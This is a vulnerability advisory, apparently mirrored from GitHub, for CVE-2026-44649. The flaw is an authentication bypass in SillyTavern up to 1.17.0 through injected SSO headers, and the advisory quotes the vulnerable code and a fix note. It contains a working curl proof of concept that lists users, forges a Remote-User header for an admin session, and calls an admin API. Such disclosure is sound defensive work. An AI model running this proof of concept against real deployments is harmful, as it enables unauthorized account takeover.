GHSA-GXX6-H3G6-VWJH
Vulnerability from github – Published: 2026-05-12 22:23 – Updated: 2026-05-12 22:23Resolution
SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.
Documentation: https://docs.sillytavern.app/administration/sso/
Summary
SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP
headers to automatically log in users when SSO is configured. There is no validation that
these headers originate from a trusted reverse proxy. Any network client that can reach
the SillyTavern port directly can inject these headers and authenticate as any user,
including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or
sso.authentikAuth: true is set in config.yaml (both default to false).
Detials
SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the
tryAutoLogin function (called on every request to /login) invokes headerUserLogin,
which reads an HTTP header set by the upstream proxy and automatically creates an
authenticated session for the matching user:
src/users.js:779-801:
async function headerUserLogin(request, header = 'Remote-User') {
if (!request.session) { return false; }
const remoteUser = request.get(header); // reads any header from any client
if (!remoteUser) { return false; }
const userHandles = await getAllUserHandles();
for (const userHandle of userHandles) {
if (remoteUser.toLowerCase() === userHandle) {
const user = await storage.getItem(toKey(userHandle));
if (user && user.enabled) {
request.session.handle = userHandle;
return true;
}
}
}
return false;
}
request.get(header) is Express's wrapper for req.headers[name.toLowerCase()].
Express does not distinguish between headers set by a trusted upstream proxy and headers
injected by the end client. Without an IP allowlist check, any client can set
Remote-User: and receive an authenticated session cookie.
User Enumeration Pre-Condition
The /api/users/list endpoint is registered before requireLoginMiddleware in
src/server-main.js:236, making it publicly accessible without authentication:
src/server-main.js:236,239:
app.use('/api/users', usersPublicRouter); // line 236 (public)
app.use(requireLoginMiddleware); // line 239 (auth gate)
src/endpoints/users-public.js:26-57:
router.post('/list', async (_request, response) => {
if (DISCREET_LOGIN) { return response.sendStatus(204); }
const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
return response.json(viewModels); // returns handle, name, avatar, admin, password flags
});
This allows an attacker to enumerate all user handles (including admin handles) without any prior credentials.
PoC
TARGET="http://localhost:8000"
# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'
# inject Remote-User header, receive authsession
curl -s -L \
-H "Remote-User: admin-user" \
-c /tmp/st-session.txt \
"$TARGET/login"
# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
curl -s -X POST "$TARGET/api/users/admin/get" \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: $TOKEN" \
-b /tmp/st-session.txt \
-d '{}'
Impact
An account takeover, allowing an attacker to do anything a legitimately authorized user can do.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.0"
},
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44649"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-306",
"CWE-346",
"CWE-807"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T22:23:30Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user\u0027s needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = \u0027Remote-User\u0027) {\n if (!request.session) { return false; }\n\n const remoteUser = request.get(header); // reads any header from any client\n if (!remoteUser) { return false; }\n\n const userHandles = await getAllUserHandles();\n for (const userHandle of userHandles) {\n if (remoteUser.toLowerCase() === userHandle) {\n const user = await storage.getItem(toKey(userHandle));\n if (user \u0026\u0026 user.enabled) {\n request.session.handle = userHandle; \n return true;\n }\n }\n }\n return false;\n}\n```\n\n`request.get(header)` is Express\u0027s wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use(\u0027/api/users\u0027, usersPublicRouter); // line 236 (public)\napp.use(requireLoginMiddleware); // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post(\u0027/list\u0027, async (_request, response) =\u003e {\n if (DISCREET_LOGIN) { return response.sendStatus(204); }\n const users = await storage.values(x =\u003e x.key.startsWith(KEY_PREFIX));\n return response.json(viewModels); // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d \u0027{}\u0027\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n -H \"Remote-User: admin-user\" \\\n -c /tmp/st-session.txt \\\n \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n -H \"Content-Type: application/json\" \\\n -H \"X-CSRF-Token: $TOKEN\" \\\n -b /tmp/st-session.txt \\\n -d \u0027{}\u0027\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.",
"id": "GHSA-gxx6-h3g6-vwjh",
"modified": "2026-05-12T22:23:30Z",
"published": "2026-05-12T22:23:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern has Authentication Bypass via SSO Header Injection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.